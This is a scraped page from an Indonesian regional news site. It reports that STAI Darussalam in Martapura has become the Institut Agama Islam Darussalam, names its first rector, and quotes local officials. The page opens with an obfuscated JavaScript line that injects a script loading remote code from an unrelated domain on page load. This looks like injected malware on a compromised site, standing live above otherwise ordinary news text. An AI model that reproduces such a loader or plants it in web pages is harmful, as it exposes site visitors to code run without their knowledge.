(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, STAI (Sekolah Tinggi Agama Islam) Darussalam naik kelas menjadi Institut Agama Islam Darussalam (Insida). Dipercaya sebagai rektor pertama adalah Dr HA Hafiz Anshari dengan 3 pembantu rektor yaitu Drs H Fauzan Saleh, HM Quzwini, dan H Izzuddin. Mereka dilantik oleh Ketua Umum Yayasan Darussalam H Muhammad Husin, di Ponpes Darussalam, Rabu (6/12).
Kehadiran sebuah institut agama Islam sudah menjadi cita-cita lawas Pimpinan Ponpes Darussalam almarhum KH Badruddin dan baru pada 2017 akhirnya terealisasi. Tentu banyak persiapan seperti menambah sarana, prasarana, dan dana dalam mendirikan 3 fakultas yang jadi syarat minimal hadirnya sebuah institut.
“Lembaga pendidikan untuk kepentingan pendidikan ke jenjang yang lebih tinggi bukan barang baru bagi Darussalam,†kata Dr HA Hafiz Anshari.
Sejak tahun 1990-an Ponpes Darussalam memiliki perguruan tinggi, kala itu khusus studi syariah, namun belakangan tenggelam, ia sendiri mengetahui karena pernah mondok di Ponpes Darussalam.
“Atas inisiatif Almarhum Guru Ibad (KH Badruddin, red) dan pak Fauzan Saleh, cita-cita itu mulai dihidupkan lagi, langkah perdana dibuatlah STAI Darussalam waktu itu,†terangnya.
Hadirnya Institut Agama Islam Darussalam merupakan hasil kerja keras berbagai elemen penting dari Martapura. Ia tetap berharap, pada akhirnya hadir sebuah Universitas Islam Darussalam. Dan lulusan pondok pesantren dan masyarakat umum tidak jauh melanjutkan studi ke jenjang perguruan tinggi.
Sementara itu, Bupati Banjar KH Khalilurrahman mengatakan, santri zaman sekarang harus mau melanjutkan studi dan mencapai gelar sarjana. Jadi, perbendaharaan ilmu agama di Pondok Pesantren Darussalam harus ditambah lagi dengan gelar sarjana, sehingga santri Darussalam lebih dikenal ke forum akademik yang lebih tinggi.
Dilain pihak, Ketua DPRD Banjar H Rusli sangat mengapresiasi hadirnya Insida untuk mendidik anak-anak di Banua. “Ilmu pondok pesantren yang diperoleh adalah benteng kuat sehingga ketika melanjutkan ke jenjang perguruan tinggi semakin mumpuni. Ini langkah awal, saya bersama Bupat Banjar selalu mendukung,†pungkasnya.(emroni)
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.